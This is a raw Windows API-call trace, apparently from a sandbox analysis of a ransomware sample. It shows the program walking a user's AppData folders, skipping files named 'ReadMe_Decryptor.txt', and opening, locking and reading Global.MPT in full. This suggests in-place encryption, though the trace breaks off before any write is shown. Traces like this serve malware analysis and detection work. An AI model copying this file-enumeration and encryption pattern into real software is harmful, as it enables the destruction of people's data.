[0053.688] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.688] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.688] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0053.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559e80 | out: hHeap=0x540000) returned 1 [0053.688] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 0 [0053.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0053.689] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1708 | out: hHeap=0x540000) returned 1 [0053.689] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.689] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.689] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.689] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0053.689] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0053.689] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 0 [0053.689] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0053.689] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.689] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0053.689] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0053.689] lstrcmpW (lpString1="MMC", lpString2=".") returned 1 [0053.689] lstrcmpW (lpString1="MMC", lpString2="..") returned 1 [0053.689] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0053.689] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0053.689] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0053.689] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.689] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.690] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.690] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.690] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.690] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.690] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.690] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcc40 [0053.690] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.690] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.690] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.690] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.690] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.690] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcc40 | out: hHeap=0x540000) returned 1 [0053.690] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.690] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0053.690] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0053.690] lstrcmpW (lpString1="MS Project", lpString2=".") returned 1 [0053.690] lstrcmpW (lpString1="MS Project", lpString2="..") returned 1 [0053.690] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.690] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0053.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0053.691] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0053.691] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0053.691] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0053.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.691] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.692] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.692] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.692] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.692] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.692] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0053.692] lstrcmpW (lpString1="14", lpString2=".") returned 1 [0053.692] lstrcmpW (lpString1="14", lpString2="..") returned 1 [0053.692] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0053.692] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.692] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0053.692] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.692] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.694] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.694] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.694] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.694] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.694] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0053.694] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0053.694] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0053.694] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609178 [0053.694] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x28d14a8 [0053.694] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0053.694] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.694] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0053.694] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.694] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0053.695] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.695] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.695] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.695] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.695] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e064c0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0xfee79d60, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 1 [0053.695] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.695] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.695] lstrcmpW (lpString1="Global.MPT", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0053.695] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0x5f600 [0053.695] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f718, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.695] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.695] ReadFile (in: hFile=0x310, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0053.697] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.698] ReadFile (in: hFile=0x310, lpBuffer=0x3780040, nNumberOfBytesToRead=0x5f600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18eed4*=0x5f600, lpOverlapped=0x0) returned 1 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0053.702] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x63e990 [0053.702] GetLastError () returned 0x0 [0053.702] SetLastError (dwErrCode=0x0) [0053.702] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0053.702] GetLastError () returned 0x0 [0053.702] SetLastError (dwErrCode=0x0) [0053.702] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0053.702] GetLastError () returned 0x0 [0053.702] SetLastError (dwErrCode=0x0) [0053.702] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0053.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x55df08 [0053.703] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x292de48 [0053.703] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0053.703] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x292fe88 [0053.703] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292de48 | out: hHeap=0x540000) returned 1 [0053.703] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x2933ec8 [0053.703] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292fe88 | out: hHeap=0x540000) returned 1 [0053.703] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x293bf08 [0053.704] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2933ec8 | out: hHeap=0x540000) returned 1 [0053.704] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x294bf48 [0053.705] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x293bf08 | out: hHeap=0x540000) returned 1 [0053.706] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x296bf88 [0053.709] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x294bf48 | out: hHeap=0x540000) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0053.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x296bf88 | out: hHeap=0x540000) returned 1 [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0053.914] GetLastError () returned 0x0 [0053.914] SetLastError (dwErrCode=0x0) [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61d9b0 | out: hHeap=0x540000) returned 1 [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0053.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0053.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0053.915] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | 